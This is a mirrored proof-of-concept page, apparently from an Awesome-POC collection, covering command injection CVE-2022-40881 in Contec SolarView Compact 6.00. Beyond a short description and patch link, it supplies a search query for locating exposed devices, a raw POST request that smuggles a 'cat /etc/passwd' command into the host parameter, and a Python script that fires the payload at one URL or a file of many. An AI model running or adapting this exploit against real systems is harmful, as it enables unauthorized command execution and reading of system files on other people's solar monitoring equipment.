mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
83 lines
2.1 KiB
Markdown
83 lines
2.1 KiB
Markdown
|
|
# SolarView Compact 命令注入漏洞 CVE-2022-40881
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Contec SolarView Compact是日本Contec公司的一个应用系统。提供光伏发电测量系统。Contec SolarView Compact 6.00版本存在安全漏洞,攻击者利用该漏洞可以通过 network_test.php 的命令注入攻击。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
SolarView Compact 6.00
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
body="SolarView Compact" && title=="Top"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
发送数据包:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /cgi-bin/network_test.php HTTP/1.1
|
|||
|
|
Host: x.x.x.x
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 44
|
|||
|
|
|
|||
|
|
host=%0acat${IFS}/etc/passwd%0a&command=ping
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞POC
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
import sys
|
|||
|
|
import requests
|
|||
|
|
import argparse
|
|||
|
|
|
|||
|
|
def poc_scan(url):
|
|||
|
|
try:
|
|||
|
|
url = url + "/network_test.php"
|
|||
|
|
response = requests.post(url,data = "host=%0acat${IFS}/etc/passwd%0a&command=ping",timeout=2)
|
|||
|
|
if response.status_code == 200:
|
|||
|
|
print(f"\033[92m[+] {url} is vulnerable!\033[0m")
|
|||
|
|
else:
|
|||
|
|
print(f"\033[31m[-] {url} is not vulnerable!\033[0m")
|
|||
|
|
except:
|
|||
|
|
pass
|
|||
|
|
|
|||
|
|
|
|||
|
|
def open_file(filename):
|
|||
|
|
with open(filename, 'r', encoding='utf-8') as f:
|
|||
|
|
filecontent = f.read()
|
|||
|
|
return filecontent
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
parser = argparse.ArgumentParser()
|
|||
|
|
parser.add_argument("-u", "--url")
|
|||
|
|
parser.add_argument("-f", "--file")
|
|||
|
|
args = parser.parse_args()
|
|||
|
|
url = args.url
|
|||
|
|
filename = args.file
|
|||
|
|
|
|||
|
|
if sys.argv[1] == '-u':
|
|||
|
|
poc_scan(url)
|
|||
|
|
else:
|
|||
|
|
filecontent = open_file(filename)
|
|||
|
|
filecontent = filecontent.split("\n")
|
|||
|
|
for i in filecontent:
|
|||
|
|
poc_scan(i)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 修复建议
|
|||
|
|
|
|||
|
|
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://www.contec.com/products-services/environmental-monitoring/solarview/
|
|||
|
|
|